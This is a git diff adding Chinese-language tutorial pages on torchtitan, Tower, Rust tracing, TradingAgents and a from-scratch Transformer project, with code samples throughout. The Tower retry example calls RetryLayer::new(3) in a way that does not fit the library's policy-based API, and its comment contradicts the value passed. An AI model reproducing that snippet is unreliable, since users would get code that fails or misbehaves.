+  torchtitan/train.py \
+  --training.lr 3e-4 \
+  --training.world_size 8 \
+  --training.global_batch_size 64 \
+  --checkpoint.enable true \
+  --checkpoint.interval 500 \
+  --checkpoint.folder ./checkpoints \
+  --metrics.enable_tensorboard true \
+  --model.name llama3_8b
+```
+
+参数说明：
+
+| 参数 | 作用 |
+|------|------|
+| `--training.lr` | 学习率 |
+| `--training.global_batch_size` | 全局批次大小（配合梯度累加使用） |
+| `--checkpoint.interval` | 每隔多少步保存一次检查点 |
+| `--metrics.enable_tensorboard` | 是否开启 TensorBoard 日志 |
+
+### 3.3 示例三：查看训练循环的核心逻辑
+
+torchtitan 的主入口是 `torchtitan/train.py`，核心流程非常清晰：
+
+```python
+# torchtitan/train.py 简化版
+
+import torch
+from torchtitan.config import ConfigManager
+from torchtitan.trainer import Trainer
+
+def main():
+    # 1. 解析命令行配置
+    config_manager = ConfigManager()
+    config = config_manager.parse_args()
+
+    # 2. 构建 Trainer 实例（内部完成模型创建、
+    #    分布式设置、优化器初始化等所有准备工作）
+    trainer = config.build()
+
+    # 3. 可选：创建种子检查点（用于后续微调）
+    if config.checkpoint.create_seed_checkpoint:
+        trainer.checkpointer.save(curr_step=0, last_step=True)
+    else:
+        # 4. 进入正式训练循环
+        trainer.train()
+
+    # 5. 清理分布式资源
+    trainer.close()
+    torch.distributed.destroy_process_group()
+
+if __name__ == "__main__":
+    main()
+```
+
+可以看到，torchtitan 把"脏活累活"全部封装在 `config.build()` 里。你只需要关注配置，不需要手动写 `torch.distributed.init_process_group()`，不需要手动包装模型为 FSDP，不需要手动管理多卡通信。
+
+### 3.4 示例四：多节点训练（Slurm 集群）
+
+在生产环境中，通常有多台服务器组成集群。torchtitan 提供了 Slurm 脚本模板：
+
+```bash
+# multinode_trainer.slurm 关键配置
+#SBATCH --ntasks=16         # 总进程数（2 节点 × 8 GPU）
+#SBATCH --nodes=2           # 节点数
+#SBATCH --gpus-per-task=8   # 每节点 8 张卡
+
+# 提交作业后，在 Slurm 环境中启动：
+srun torchrun --nnodes 2 \
+  --nproc_per_node=8 \
+  torchtitan/train.py \
+  --model.name llama3_8b
+```
+
+## 四、torchtitan 在生态中的位置
+
+```
+                    ┌─────────────────────┐
+                    │   你的研究想法       │
+                    └──────────┬──────────┘
+                               │
+                    ┌──────────▼──────────┐
+                    │     torchtitan       │  ← 分布式训练平台（本文主角）
+                    │  - 并行策略管理      │
+                    │  - 检查点系统        │
+                    │  - 监控与日志        │
+                    └──────────┬──────────┘
+                               │
+              ┌────────────────┼────────────────┐
+              │                │                │
+     ┌────────▼──────┐ ┌──────▼───────┐ ┌──────▼───────┐
+     │   Llama 3     │ │  其他模型    │ │  你自己加的   │  ← 模型层
+     │   模型定义     │ │              │ │   实验代码    │
+     └────────┬──────┘ └──────┬───────┘ └──────┬───────┘
+              │               │                │
+              └───────────────┼────────────────┘
+                              │
+                    ┌─────────▼──────────┐
+                    │    PyTorch 原生     │  ← 底层框架
+                    │  torch.compile     │
+                    │  FSDP2 / DTensor   │
+                    │  Distributed       │
+                    └────────────────────┘
+```
+
+torchtitan 位于"模型"和"PyTorch 底层"之间，向上提供简洁的训练接口，向下复用 PyTorch 的原生分布式能力。
+
+如果你要做**预训练（pretraining）**，用 torchtitan。
+如果你要做**微调（fine-tuning）**，用 torchtitan 生成的检查点交给 torchtune。
+
+## 五、学习建议
+
+1. **先跑通 demo**：按照示例三的命令行，在本地 8 卡机器上启动 Llama 3.1 8B 训练，观察日志输出
+2. **读源码路径**：重点看 `torchtitan/train.py`（训练入口）、`torchtitan/trainer.py`（Trainer 类）、`torchtitan/models/llama3/`（模型定义）
+3. **理解并行**：FSDP2 是理解 torchtitan 的关键，推荐阅读其文档中 FSDP1 vs FSDP2 的对比
+4. **动手改配置**：尝试修改学习率、batch size、开启/关闭 float8 量化，观察对训练速度和 loss 的影响
+
+## 参考资源
+
+- GitHub: https://github.com/pytorch/torchtitan
+- ICLR 2025 论文: https://openreview.net/forum?id=SFN6Wm7YBI
+- PyTorch Forum: https://discuss.pytorch.org/c/distributed/torchtitan/44
+- GPU MODE 讲座 (2024/12): https://www.youtube.com/watch?v=VYWRjcUqW6w
diff --git a/src/content/docs/projects/tower.md b/src/content/docs/projects/tower.md
new file mode 100644
index 000000000..9ce82a6ec
--- /dev/null
+++ b/src/content/docs/projects/tower.md
@@ -0,0 +1,216 @@
+---
+title: Tower — 异步服务中间件
+来源: https://github.com/tower-rs/tower
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Tower - 异步服务中间件
+
+## 一句话是什么
+
+Tower 是一个 Rust 库，帮你在写网络服务端和客户端时，用「可组合的小模块」来加功能，比如超时、重试、限流。它不自己处理网络，而是给你一个统一的接口标准，让你的代码和网络层（比如 HTTP、gRPC）解耦。
+
+## 日常类比
+
+想象你在一家餐厅里点菜：
+
+- **Service（服务）** 就是一个服务员。你（客户端）把订单（请求）交给他，他拿去后厨，然后端回一道菜（响应）。
+- **Middleware（中间件）** 就是在服务员和你的服务员之间，又加了几个"环节"。比如：
+  - **超时中间件** = 前台经理，如果他发现你等的菜超过了 30 分钟，就直接说"抱歉，这道菜不做"。
+  - **重试中间件** = 传菜员，如果第一次送菜被退回（出错了），他就再送一次。
+  - **限流中间件** = 门口保安，餐厅快满的时候，他拦住新客人，让他们等一等。
+
+Tower 的精妙之处在于：这些中间件是「协议无关」的。上面说的超时、重试，不管你是用 HTTP、gRPC 还是自己写的协议，都能直接用，不用改。
+
+## 核心概念
+
+Tower 有两个核心 trait，所有东西都围绕它们展开：
+
+### Service（服务）
+
+`Service` 就是"一个异步的请求处理函数"。抽象出来长这样：
+
+```
+async fn(Request) -> Result<Response, Error>
+```
+
+它不是什么复杂的类，就是一个trait，要求实现三个东西：
+
+1. **`poll_ready`** - 问一下"你现在有空处理新请求吗？"（这叫 backpressure，背压机制）
+2. **`call`** - 真正把请求丢进去处理，返回一个 Future
+3. **`Response / Error / Future`** - 三种关联类型，说明你返回什么
+
+所以一个 Service 就像是餐厅里那个接订单的服务员。
+
+### Layer（层）
+
+`Layer` 是"包装一个 Service，给它加行为的工具"。
+
+如果 Service 是服务员，Layer 就是"加一个新环节的动作"。比如 `TimeoutLayer(30秒)` 这个动作，把一个普通服务员包装成一个"有超时机制的服务员"。
+
+Layer 的核心方法就一个：
+
+```rust
+fn layer(&self, inner: S) -> Self::Service
+```
+
+意思是：给我一个服务，我给你返回一个新服务，这个新服务包了原来的。
+
+### 两层的关系
+
+```
+Layer 是"动作"（动词）  -->  TimeoutLayer(30s)
+Service 是"结果"（名词） -->  Timeout<Service>(30s)
+```
+
+你用多个 Layer 堆起来，就得到一层套一层的 Service 链。请求进来时，从最外层一层层剥下去，处理完再一层层包上来。
+
+## 代码示例
+
+### 示例 1：手写一个最简 Service
+
+下面是一个最基本的 HTTP 式服务——不管你收到什么请求，都返回同样的内容：
+
+```rust
+use tower_service::Service;
+use http::{Request, Response, StatusCode};
+use std::future::{ready, Ready};
+use std::task::{Context, Poll};
+
+struct HelloWorld;
+
+impl Service<Request<Vec<u8>>> for HelloWorld {
+    type Response = Response<Vec<u8>>;
+    type Error = std::convert::Infallible;
+    type Future = Ready<Result<Self::Response, Self::Error>>;
+
+    fn poll_ready(&mut self, _cx: &mut Context<'_>) -> Poll<Result<(), Self::Error>> {
+        Poll::Ready(Ok(()))
+    }
+
+    fn call(&mut self, _req: Request<Vec<u8>>) -> Self::Future {
+        let body = b"hello, world!\n".to_vec();
+        let resp = Response::builder()
+            .status(StatusCode::OK)
+            .body(body)
+            .unwrap();
+        ready(Ok(resp))
+    }
+}
+```
+
+这个例子拆解一下：
+
+- `type Response` = 返回什么（这里是一个 HTTP Response）
+- `type Error` = 什么错误（`Infallible` 表示"永远不会出错"）
+- `type Future` = 返回什么异步结果（`Ready` 表示"已经准备好了，不用等"）
+- `call` = 真正处理请求的逻辑，收到任何请求都返回 "hello, world!"
+
+### 示例 2：用 Timeout 中间件包装
+
+Tower 内置了 `Timeout` 中间件，它可以给任何 Service 加上超时功能：
+
+```rust
+use tower::ServiceBuilder;
+use tower::timeout::TimeoutLayer;
+use tower::util::service_fn;
+use std::time::Duration;
+
+// 先定义一个慢吞吞的服务——处理一个请求需要花 5 秒
+let slow_service = service_fn(|request: String| async move {
+    tokio::time::sleep(Duration::from_secs(5)).await;
+    Ok::<_, std::convert::Infallible>(format!("处理了请求: {}", request))
+});
+
+// 用 Timeout 中间件包装它，设定 1 秒超时
+let fast_service = ServiceBuilder::new()
+    .layer(TimeoutLayer::new(Duration::from_secs(1)))
+    .service(slow_service);
+
+// 现在调用 fast_service 时，超过 1 秒就会自动超时失败，
+// 而不会傻等 5 秒
+```
+
+这里 `ServiceBuilder` 就是一个"组装工具"，它按照你指定的顺序，把一层层的 Layer 套在 Service 外面。上面的代码等于说：
+
+> "先给 slow_service 套一层 1 秒的 Timeout，得到 fast_service"
+
+如果请求处理超过 1 秒，客户端收到的就是一个超时错误，而不必等到 5 秒。
+
+### 示例 3：叠加多个中间件
+
+Tower 最强大的地方在于多个中间件可以自由组合：
+
+```rust
+use tower::ServiceBuilder;
+use tower::timeout::TimeoutLayer;
+use tower::retry::RetryLayer;
+use tower::util::service_fn;
+use std::time::Duration;
+
+let service = service_fn(|request: String| async move {
+    // 模拟一个偶尔失败的服务
+    if request == "bad" {
+        Err::<String, String>("服务错误".to_string())
+    } else {
+        Ok(format!("处理了请求: {}", request))
+    }
+});
+
+let robust_service = ServiceBuilder::new()
+    // 第一层：3 秒超时
+    .layer(TimeoutLayer::new(Duration::from_secs(3)))
+    // 第二层：最多重试 2 次
+    .layer(RetryLayer::new(3))
+    // 第三层：实际服务
+    .service(service);
+```
+
+这个 `robust_service` 同时具备：超时保护 + 自动重试。请求进来时，先经过超时检查，再通过重试逻辑，最后到达你的业务服务。
+
+## Tower 生态
+
+Tower 不只是一个 crate，它由几个 crate 组成：
+
+| Crate | 作用 |
+|-------|------|
+| `tower` | 核心库，包含常用的中间件实现 |
+| `tower-service` | `Service` trait 的独立 crate（最稳定） |
+| `tower-layer` | `Layer` trait 的独立 crate（最稳定） |
+| `tower-test` | 测试工具 |
+
+`Service` 和 `Layer` 这两个 trait 被单独拆出来，是因为它们是整个 Rust 异步生态的"通用接口"。很多库都基于它们：
+
+- **hyper** — HTTP/1.1 和 HTTP/2 实现，直接用了 Service 作为集成点
+- **tonic** — gRPC 实现，基于 hyper + tower
+- **warp** — 轻量级 Web 框架，支持 tower middleware
+
+## 关键设计决策
+
+### 为什么不用"直接处理 HTTP"的方式？
+
+如果每次加功能都要写一个新的 HTTP handler，代码会重复。Tower 的 approach 是把"通用行为"（超时、重试、日志）从"具体协议"（HTTP、gRPC）中抽出来，形成一个通用模型。
+
+### Service 的 poll_ready 有什么用？
+
+这是 Tower 的"背压"机制。想象餐厅服务员已经很忙了（正在做菜），你不能再给他新订单。`poll_ready` 就是问："你现在有空接新订单吗？"如果忙，就返回 Pending，等做完手头的活再通知你。
+
+### Layer 为什么是"元函数"？
+
+因为 Layer 的输入是 Service，输出也是 Service。它包装（decorate）了一个 Service，给它加上额外行为。多个 Layer 可以链式组合，形成 Service 的"洋葱模型"——请求从外到内穿过每一层，响应从内到外再穿过每一层。
+
+## 学习路线建议
+
+从零基础的角度，建议按以下顺序理解：
+
+1. 先搞懂 **Service trait**：输入请求，输出响应（一个异步函数）
+2. 再搞懂 **Layer trait**：输入 Service，输出新 Service（一个包装器）
+3. 看 **ServiceBuilder**：怎么用 Layer 拼装出最终的服务
+4. 最后看中间件：Timeout、Retry、RateLimit 等具体实现
+
+## 总结
+
+Tower 的核心思想是：**用通用接口统一网络和中间件**。不管你的协议是什么，超时、重试、限流这些通用行为都可以通过 Service + Layer 的组合来加，不用为每个协议写一遍。
diff --git a/src/content/docs/projects/tracing.md b/src/content/docs/projects/tracing.md
new file mode 100644
index 000000000..dd35a2d51
--- /dev/null
+++ b/src/content/docs/projects/tracing.md
@@ -0,0 +1,114 @@
+---
+title: Rust Tracing — 结构化日志与追踪入门
+来源: https://github.com/tokio-rs/tracing
+日期: 2026-06-13
+分类: 编程语言
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Rust Tracing — 结构化日志与追踪入门
+
+## 什么是 Tracing？
+
+想象你在餐厅里点餐。传统日志就像一张便签纸："上了菜"——你不知道上了什么、给谁上的、花了多久。而 tracing 像是餐厅的订单管理系统：每一道菜（事件）都绑定到一个订单（span），订单有开始时间、结束时间，还有菜品之间的先后关系。这就是 tracing 要解决的核心问题——**在复杂的异步程序中，让开发者能看清"发生了什么、什么时候发生、在哪个上下文中发生"**。
+
+tracing 是由 Tokio 团队开发的 Rust 库，专为异步系统设计。它不只是日志，更是一种结构化的诊断框架。
+
+## 核心概念
+
+### Span（跨度）
+
+Span 代表一段**有时间跨度的执行过程**。它有进入时间和退出时间，可以嵌套。比如一个 HTTP 请求的处理过程就是一个 span，它内部可能包含数据库查询 span、缓存读取 span 等。
+
+### Event（事件）
+
+Event 代表一个**瞬间发生的事情**，类似日志消息。但事件可以发生在某个 span 的内部，因此天然带有上下文信息。
+
+### Subscriber（订阅者）
+
+Subscriber 是数据的消费者，负责接收 span 和事件并做出处理——写入文件、发送到远程服务、输出到控制台等。tracing 本身不提供具体的 subscriber，而是由生态中的其他 crate（如 `tracing-subscriber`）来实现。
+
+## 代码示例一：基础用法
+
+```rust
+use tracing::{info_span, event, Level};
+
+fn main() {
+    // 设置一个将数据输出到控制台的订阅者
+    let subscriber = tracing_subscriber::fmt()
+        .with_max_level(Level::TRACE)
+        .finish();
+    tracing::subscriber::set_global_default(subscriber).unwrap();
+
+    // 创建一个名为 "request" 的 span
+    let span = info_span!("request", method = "GET", path = "/users/42");
+    let _enter = span.enter();
+
+    // 在 span 内部记录事件
+    event!(Level::INFO, "handling request");
+    event!(Level::DEBUG, "checking cache", cache_hit = false);
+    event!(Level::INFO, "querying database", table = "users");
+    event!(Level::INFO, "request complete", status = 200_u32);
+}
+```
+
+输出示例：
+
+```
+Jun 13 10:00:00.001  INFO request{method=GET path=/users/42}: handling request
+Jun 13 10:00:00.002 DEBUG request{method=GET path=/users/42}: checking cache cache_hit=false
+Jun 13 10:00:00.005  INFO request{method=GET path=/users/42}: querying database table=users
+Jun 13 10:00:00.010  INFO request{method=GET path=/users/42}: request complete status=200
+```
+
+注意每个输出行都包含了 span 名称和方法、路径等信息——这就是结构化的力量，你可以按字段过滤和聚合。
+
+## 代码示例二：函数级自动追踪
+
+手动管理 span 很繁琐，tracing 提供了 `#[instrument]` 属性宏，自动为函数创建 span：
+
+```rust
+use tracing::{info_span, event, Level, instrument};
+
+#[instrument]
+fn fetch_user(user_id: u32) -> String {
+    event!(Level::DEBUG, "looking up user in database", user_id);
+    // 模拟数据库查询
+    format!("User {}", user_id)
+}
+
+#[instrument(fields(role = "admin"))]
+fn process_request(user_id: u32, action: &str) {
+    event!(Level::INFO, "processing action", %action);
+    let user = fetch_user(user_id);
+    event!(Level::INFO, user = %user, "action completed");
+}
+
+fn main() {
+    let subscriber = tracing_subscriber::fmt()
+        .with_max_level(Level::TRACE)
+        .finish();
+    tracing::subscriber::set_global_default(subscriber).unwrap();
+
+    process_request(42, "delete_account");
+}
+```
+
+`#[instrument]` 会自动做三件事：调用函数时创建 span、函数名作为 span 名称、函数参数自动记录为字段。`%` 前缀表示用 Display 格式输出，`?` 前缀表示用 Debug 格式输出。
+
+## 关键要点
+
+- **Span 是时间段，Event 是时间点**：这是理解 tracing 最关键的区别
+- **层级关系**：span 可以嵌套，形成一棵树，清晰展示调用关系
+- **零开销**：被过滤掉的 span 和事件在编译期就会被消除，不会有任何运行时开销
+- **与 log 兼容**：可以通过 `log` feature 同时输出传统日志
+- **生态丰富**：`tracing-subscriber` 提供控制台输出、JSON 输出等；`tracing-opentelemetry` 可对接分布式追踪系统
+
+## 进一步学习
+
+- 官方文档：https://docs.rs/tracing
+- GitHub 仓库：https://github.com/tokio-rs/tracing
+- 示例代码：https://github.com/tokio-rs/tracing/tree/main/examples
+- 订阅者实现：`tracing-subscriber` crate
+- 与 OpenTelemetry 集成：`tracing-opentelemetry` crate
diff --git a/src/content/docs/projects/trading-agents-tauric.md b/src/content/docs/projects/trading-agents-tauric.md
new file mode 100644
index 000000000..fc67bf7ea
--- /dev/null
+++ b/src/content/docs/projects/trading-agents-tauric.md
@@ -0,0 +1,191 @@
+---
+title: TradingAgents — 用一支 AI 投研团队来做决策
+来源: https://github.com/TauricResearch/TradingAgents
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# TradingAgents — 用一支 AI 投研团队来做决策
+
+## 一、从"找专家开会"说起
+
+想象你要投资一只股票。最靠谱的方式不是自己一个人拍脑袋，而是找一群专家一起开会讨论：
+
+- **基本面分析师**看公司财报，评估企业内在价值
+- **情绪分析师**读新闻、社交媒体，判断市场大众情绪
+- **技术分析师**看 K 线、RSI、MACD 这些技术指标
+- **新闻分析师**盯全球宏观事件，比如利率变化、地缘冲突
+- **多空研究员**分别从看好和看空的角度辩论
+- **风控官**评估风险有多大
+- **投资组合经理**听完所有人的报告后，做最终决定
+
+TradingAgents 做的事情，就是把上面的"专家会议"用 AI 来实现。它是一套用大型语言模型（LLM）驱动的**多智能体量化交易框架**。
+
+> 核心一句话：把复杂的投资决策拆解成多个 AI 角色，每个角色专精一块，最后通过讨论达成共识。
+
+## 二、核心概念
+
+### 2.1 什么是"多 Agent 框架"
+
+传统量化策略通常是写死规则（比如"RSI 低于 30 就买入"）。TradingAgents 的做法完全不同——它用 LLM 当"大脑"，每个 Agent 承担一个职能角色。
+
+你可以把它理解成一个**有组织的团队**：
+
+| 层级 | 角色 | 职责 |
+|------|------|------|
+| 分析师团队 | Fundamentals Analyst | 看财报，评估企业价值 |
+| | Sentiment Analyst | 聚合新闻、StockTwits、Reddit 情绪 |
+| | News Analyst | 监控全球宏观新闻和事件 |
+| | Technical Analyst | 用 MACD、RSI 等技术指标分析走势 |
+| 研究团队 | Bullish Researcher | 从看多角度批判性分析 |
+| | Bearish Researcher | 从看空角度批判性分析 |
+| 决策层 | Trader | 综合所有报告做交易决定 |
+| | Risk Manager | 评估风险，提出风控建议 |
+| | Portfolio Manager | 最终拍板：通过或拒绝交易 |
+
+### 2.2 LangGraph — 团队运行的"操作系统"
+
+这些 Agent 之间的协作不是随意的，而是通过 **LangGraph** 来组织。LangGraph 是一个用来构建有状态多智能体应用的框架，它可以定义：
+
+- 每个 Agent 做什么（节点）
+- 信息如何在 Agent 之间流转（边）
+- 什么时候结束、什么时候循环（比如辩论可以设置最大轮次）
+
+### 2.3 记忆与恢复机制
+
+TradingAgents 有两个重要特性：
+
+- **决策日志**：每次分析结果自动保存到 `~/.tradingagents/memory/trading_memory.md`。下次再分析同一只股票时，系统会自动读取之前的决策和实际回报，生成反思注入到下一次分析中。
+- **断点续跑（Checkpoint）**：如果分析中途崩溃，重新启动时可以从上一个成功的节点继续，不用从头再来。
+
+### 2.4 模型支持
+
+TradingAgents 支持非常多的 LLM 供应商：OpenAI（GPT-5.5 等）、Google（Gemini）、Anthropic（Claude）、xAI（Grok）、DeepSeek、Qwen（通义千问，含国际和中国双端）、GLM（智谱）、MiniMax、OpenRouter，以及本地部署的 Ollama。企业级还可以用 Azure OpenAI。
+
+## 三、代码示例
+
+### 示例 1：最简用法 — 分析一只股票
+
+这是 TradingAgents 最基本的用法。你只需要传入股票代码和分析日期，剩下的所有分析、讨论、决策都由 Agent 团队自动完成。
+
+```python
+from tradingagents.graph.trading_graph import TradingAgentsGraph
+from tradingagents.default_config import DEFAULT_CONFIG
+
+# 1. 创建分析引擎，使用默认配置
+ta = TradingAgentsGraph(debug=True, config=DEFAULT_CONFIG.copy())
+
+# 2. 向前传播 — 分析 NVDA 在 2026-01-15 的市场情况
+#    返回值：(中间状态字典, 最终决策)
+_, decision = ta.propagate("NVDA", "2026-01-15")
+
+# 3. 查看决策结果
+print(decision)
+```
+
+这里 `propagate()` 方法触发了整个 Agent 团队的协作流程：四个分析师先各自出报告 → 多空研究员辩论 → 风控官评估 → 投资组合经理做最终决定。
+
+### 示例 2：自定义配置 — 换模型、控辩论
+
+你可以通过修改配置字典来控制每一个细节，比如用什么模型、辩论几轮、温度参数等。
+
+```python
+from tradingagents.graph.trading_graph import TradingAgentsGraph
+from tradingagents.default_config import DEFAULT_CONFIG
+
+# 复制默认配置，然后按需修改
+config = DEFAULT_CONFIG.copy()
+
+# 选择 LLM 供应商
+# 支持：openai, google, anthropic, xai, deepseek, qwen, qwen-cn,
+#       glm, glm-cn, minimax, minimax-cn, openrouter, ollama, azure
+config["llm_provider"] = "openai"
+
+# 复杂推理用更强的模型
+config["deep_think_llm"] = "gpt-5.5"
+
+# 简单任务用更快的模型（省钱省时间）
+config["quick_think_llm"] = "gpt-5.4-mini"
+
+# 辩论最多进行 2 轮
+config["max_debate_rounds"] = 2
+
+# 创建分析引擎
+ta = TradingAgentsGraph(debug=True, config=config)
+
+# 分析腾讯港股
+_, decision = ta.propagate("0700.HK", "2026-06-10")
+print(decision)
+```
+
+### 示例 3：开启断点续跑
+
+对于耗时的分析任务，开启 checkpoint 可以避免意外中断后从头再来。
+
+```python
+from tradingagents.graph.trading_graph import TradingAgentsGraph
+from tradingagents.default_config import DEFAULT_CONFIG
+
+config = DEFAULT_CONFIG.copy()
+config["checkpoint_enabled"] = True  # 开启断点续跑
+
+ta = TradingAgentsGraph(debug=True, config=config)
+
+# 如果上次中断，这里会自动从断点恢复；
+# 如果是全新任务，则正常从头执行
+_, decision = ta.propagate("SPY", "2026-06-13")
+print(decision)
+```
+
+## 四、支持的市场
+
+TradingAgents 支持 Yahoo Finance 覆盖的任何市场，只需要用交易所后缀的股票代码：
+
+- **美股**：`AAPL`、`SPY`
+- **港股**：`0700.HK`（腾讯）、`9988.HK`（阿里）
+- **A 股**：`600519.SS`（茅台，上海）、`000858.SZ`（五粮液，深圳）
+- **加密**：`BTC-USD`、`ETH-USD`
+- **东京**：`7203.T`、**伦敦**：`AZN.L`、**印度**：`RELIANCE.NS`
+
+系统会根据股票代码自动识别市场、公司身份和基准指数（如美股用 SPY 做 alpha 对比）。
+
+## 五、CLI 命令行使用
+
+如果你不想写 Python 代码，也可以用命令行直接启动：
+
+```bash
+# 安装后直接用
+tradingagents
+
+# 或者从源码目录运行
+python -m cli.main
+```
+
+启动后会进入交互界面，让你选择股票代码、分析日期、LLM 供应商、研究深度等。运行过程中会实时显示每个 Agent 的分析进度和结果。
+
+## 六、需要注意的事
+
+1. **这不是投资建议** — TradingAgents 定位为研究工具，不是投资顾问。实际表现受模型选择、温度参数、数据质量等多种因素影响。
+2. **结果不一定可复现** — 因为 LLM 本身具有随机性（sampling），两次同样的分析可能得到不同结果。降低 temperature 可以提高一致性，但推理模型（reasoning models）对温度不敏感。
+3. **需要 API Key** — 使用任何 LLM 供应商都需要配置对应的 API Key，通过环境变量或 `.env` 文件设置。
+
+## 七、总结
+
+TradingAgents 的核心创新点在于把传统的"单策略量化"转变成了"多 Agent 协作"：
+
+- **模拟真实投行团队**：分析师、研究员、风控、投资组合经理，各司其职
+- **LLM 作为大脑**：不依赖死规则，而是用自然语言理解和分析
+- **辩论机制**：多空研究员互相批判，避免一面之词
+- **记忆系统**：每次决策自动记录，越用越聪明
+- **高度可配置**：支持几乎所有主流 LLM 供应商
+
+对于一个刚接触 AI 和量化的学习者来说，这个项目展示了 LLM 在金融领域的实际应用场景——不只是聊天对话，而是真正可以组成一个"团队"来解决问题。
+
+---
+
+**参考**：
+- GitHub: https://github.com/TauricResearch/TradingAgents
+- arXiv 论文: https://arxiv.org/abs/2412.20138
+- 论文作者：Yijia Xiao, Edward Sun, Di Luo, Wei Wang
diff --git a/src/content/docs/projects/traefik.md b/src/content/docs/projects/traefik.md
index c1fade7b3..92c3b445b 100644
--- a/src/content/docs/projects/traefik.md
+++ b/src/content/docs/projects/traefik.md
@@ -2,7 +2,7 @@
 title: Traefik — 现代云原生反向代理
 来源: https://github.com/traefik/traefik
 日期: 2026-05-29
-子分类: Web 后端
+子分类: cloud-native
 分类: 后端 API
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/train-llm-from-scratch.md b/src/content/docs/projects/train-llm-from-scratch.md
new file mode 100644
index 000000000..40592017a
--- /dev/null
+++ b/src/content/docs/projects/train-llm-from-scratch.md
@@ -0,0 +1,214 @@
+---
+title: 'train-llm-from-scratch — 从零手写 Transformer 大模型'
+来源: 'https://github.com/FareedKhan-dev/train-llm-from-scratch'
+日期: '2026-06-13'
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这个仓库用 **纯 PyTorch**（零 `transformers`、零 `peft`、零 `trl`）从 0 开始实现了一个完整的 Transformer LLM，从下载 Pile 数据集、分词、训练、到生成文本，所有代码都是手写的。日常类比：大多数 LLM 教程教你"开车"——直接坐进 Tesla 里踩油门；这个项目教你**"造一辆车"**：自己设计引擎（注意力机制）、自己组装车身（Transformer 层）、自己点火启动。
+
+核心能力分两阶段：
+
+1. **Pre-training（预训练）**：从 Pile 数据集训练一个 base 模型，默认 13M 参数（单 GPU 一天能跑完），最大支持 3B+ 参数（A100 多卡）。
+2. **Post-training（后训练）**：在 base 模型上叠加 SFT → Reward Model → PPO/DPO → GRPO 全套对齐流程，也是从零手写。
+
+## 为什么重要
+
+不理解这个项目，下面这些事都没法解释：
+
+- 为什么 `Attention is All You Need` 论文里的"Self-Attention"不只是一段数学公式——它是一个**可以逐行调试的 Python 类**
+- 为什么"注意力"真的在做"找关联"这件事——当你看到 `q @ k.transpose(-2, -1)` 这一行代码时，"缩放点积注意力"就不再是一个抽象名词
+- 为什么 13M 参数就能输出"语法正确但语义模糊"的文本——模型先学会语言结构，再学会语言内容，这是分层学习的证据
+
+## 核心概念
+
+### 1. 注意力机制（Attention）——"做笔记时的荧光笔"
+
+想象你在读一本长书，读到某句话时需要回看上文的某一段。**Self-Attention** 就是让模型自动决定"当前这个词应该关注上文哪些词"。
+
+一个 Attention Head 的工作流程：
+
+```python
+class Head(nn.Module):
+    def __init__(self, head_size, n_embed, context_length):
+        super().__init__()
+        self.key = nn.Linear(n_embed, head_size, bias=False)
+        self.query = nn.Linear(n_embed, head_size, bias=False)
+        self.value = nn.Linear(n_embed, head_size, bias=False)
+        # 因果掩码：保证模型只能"看到"前面的词，不能偷看后面的
+        self.register_buffer('tril', torch.tril(torch.ones(context_length, context_length)))
+
+    def forward(self, x):
+        B, T, C = x.shape
+        # Q, K, V 三根投影：把输入变成"问题"、"答案库"、"答案内容"
+        k = self.key(x)
+        q = self.query(x)
+        scale_factor = 1 / math.sqrt(C)
+        # 核心公式：注意力权重 = softmax(Q @ K^T / sqrt(d))
+        attn_weights = q @ k.transpose(-2, -1) * scale_factor
+        # 应用掩码，把"未来"的位置填满负无穷，softmax 后变 0
+        attn_weights = attn_weights.masked_fill(self.tril[:T, :T] == 0, float('-inf'))
+        attn_weights = F.softmax(attn_weights, dim=-1)
+        v = self.value(x)
+        # 用注意力权重加权求和 Value，得到输出
+        out = attn_weights @ v
+        return out
+```
+
+关键就在 `q @ k.transpose(-2, -1) * scale_factor` 这一行：它计算了所有词对之间的"相似度"，相似度高的词会被打上更高的权重——模型就是在做"找关联"这件事。
+
+### 2. Transformer 层——"层层递进的阅读理解"
+
+一个 Transformer Block 由两层组成：先做 Multi-Head Attention（多组荧光笔同时标记不同关联），再过一个 MLP（对信息做深度加工）。每一层都有残差连接（跳过一层直接连）和 LayerNorm（稳定训练）。
+
+```python
+class TransformerBlock(nn.Module):
+    def __init__(self, config):
+        super().__init__()
+        self.sa = MultiHeadAttention(config['n_head'], config['n_embed'], config['context_length'])
+        self.ln1 = nn.LayerNorm(config['n_embed'])
+        self.mlp = MLP(config['n_embed'])
+        self.ln2 = nn.LayerNorm(config['n_embed'])
+
+    def forward(self, x):
+        # 多头注意力 + 残差连接 + LayerNorm
+        x = x + self.sa(self.ln1(x))
+        # MLP + 残差连接 + LayerNorm
+        x = x + self.mlp(self.ln2(x))
+        return x
+```
+
+每经过一个 Block，模型就对文本做更深一层的理解。64 个 Block 叠起来 = 64 层阅读理解。
+
+### 3. 数据准备——"把书切碎再拼起来"
+
+训练数据来自 Pile（825GB 多领域语料），处理流程：
+
+```python
+def process_files(input_dir, output_file):
+    """把 .jsonl.zst 文件解压 → 用 OpenAI 的 tokenizer 分词 → 存成 HDF5"""
+    with h5py.File(output_file, 'w') as out_f:
+        dataset = out_f.create_dataset('tokens', (0,), maxshape=(None,), dtype='i')
+        start_index = 0
+
+        for filename in sorted(os.listdir(input_dir)):
+            if filename.endswith(".jsonl.zst"):
+                in_file = os.path.join(input_dir, filename)
+                with zstd.open(in_file, 'r') as in_f:
+                    for line in tqdm(in_f):
+                        data = json.loads(line)
+                        text = data['text'] + "<|endoftext|>"
+                        encoded = enc.encode(text, allowed_special={'<|endoftext|>'})
+                        encoded_len = len(encoded)
+                        end_index = start_index + encoded_len
+                        dataset.resize(dataset.shape[0] + encoded_len, axis=0)
+                        dataset[start_index:end_index] = encoded
+                        start_index = end_index
+```
+
+这里的关键是：文本先被 OpenAI 的 `tiktoken` 分词器切成 token ID，再按顺序塞进一个巨大的 HDF5 数组。`<|endoftext|>` 标记每篇文章的结尾，模型学会用它来"知道一段话结束了"。
+
+### 4. 后训练对齐（SFT → DPO → GRPO）——"从聊天机器人到礼貌助手"
+
+预训练模型就像一个"读过很多书但不太懂礼貌"的人。后训练阶段就是教它：
+
+- **SFT（监督微调）**：给"好问题 + 好答案"对，让它学正确的回答格式
